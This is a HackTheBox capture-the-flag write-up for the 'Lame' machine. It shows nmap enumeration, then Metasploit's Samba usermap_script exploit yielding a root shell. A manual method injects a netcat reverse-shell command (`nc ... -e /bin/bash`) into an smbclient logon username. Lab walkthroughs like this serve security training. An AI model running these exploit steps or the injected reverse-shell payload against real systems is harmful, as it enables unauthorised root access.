3 minute read

Machine Information


Lame is a beginner level machine, requiring only one exploit to obtain root access. Skills required are basic knowledge of Linux and enumerating ports and services. Skills learned are identifying vulnerable services and exploiting Samba.

Hosting Site HackTheBox
Link To Machine HTB - 001 - Easy - Lame
Machine Release Date 14th March 2017
Date I Completed It 14th July 2019
Distribution used Kali 2019.1 – Release Info

Method using Meterpreter

Initial Recon

Check for open ports with Nmap:

root@kali:~/htb/lame# nmap -sS -sC -sV -oA lame -p- -T4

Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-16 22:10 BST
Nmap scan report for
Host is up (0.037s latency).
Not shown: 65530 filtered ports
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup:WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup:WORKGROUP)
3632/tcp open  distccd     distccd v1((GNU)4.2.4(Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -2d23h00m43s, deviation: 0s, median: -2d23h00m43s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name:
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-07-13T14:11:05-04:00
|_smb2-time: Protocol negotiation failed (SMB2)

Lots of ports open. Has port 21 open with anonymous FTP, but looking around there is nothing obvious.

Gaining Access

Box is running vsftpd 2.3.4 so check searchsploit for vulnerability:

root@kali:~/htb/lame# searchsploit vsftpd
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | exploits/linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service(1)  | exploits/windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service(2)  | exploits/windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                               | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)         | exploits/unix/remote/17491.rb

Last one in above list for backdoor execution looks good. Start Metasploit and load exploit:

root@kali:~/htb/lame# msfconsole
msf5 > search vsftpd 2.3.4
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 > show options
msf5 > set RHOST
msf5 > exploit

No luck, go back to list of services, now try samba on port 445:

root@kali:~/htb/lame# searchsploit samba 3.0.20
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                            | exploits/linux/remote/7701.txt

Remote heap overflow sounds promising, go back in to Metasploit and try it:

root@kali:~/htb/lame# msfconsole
msf5 > search samba 3.0.20
msf5 > use exploit/multi/samba/usermap_script
msf5 > set RHOST
msf5 > exploit

[*] Started reverse TCP double handler on
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NKYmctrocnnm8nuo;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "NKYmctrocnnm8nuo\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened ( -> at 2019-07-16 22:18:10 +0100

This works and I now have a reverse shell on to the box.

User and Root Flags

I have a shell, but need an interactive one to make progress:

msf5 > shell
[*] Trying to find binary(python) on target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell

Now have interactive shell so get the user flag:

# ls /home
ftp  makis  service  user

# ls /home/makis

# cat /home/makis/user.txt
# cat /root/root.txt

Alternative Method (without Meterpreter)

Start a Netcat session listening on my Kali machine:

root@kali:~/htb/lame# nc –lvp 4444

Switch to another terminal and use smbclient to connect:

root@kali:~/htb/lame# smbclient //
Enter WORKGROUP\root's password:        <--- just press enter
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "./=`nohup nc 4444 –e /bin/bash`"
Password:                               <--- just press enter

Switch back to Netcat terminal and should have root shell:

# id
uid=0(root) gid=0(root)

I can now get the user and root flags, from the paths the same as above.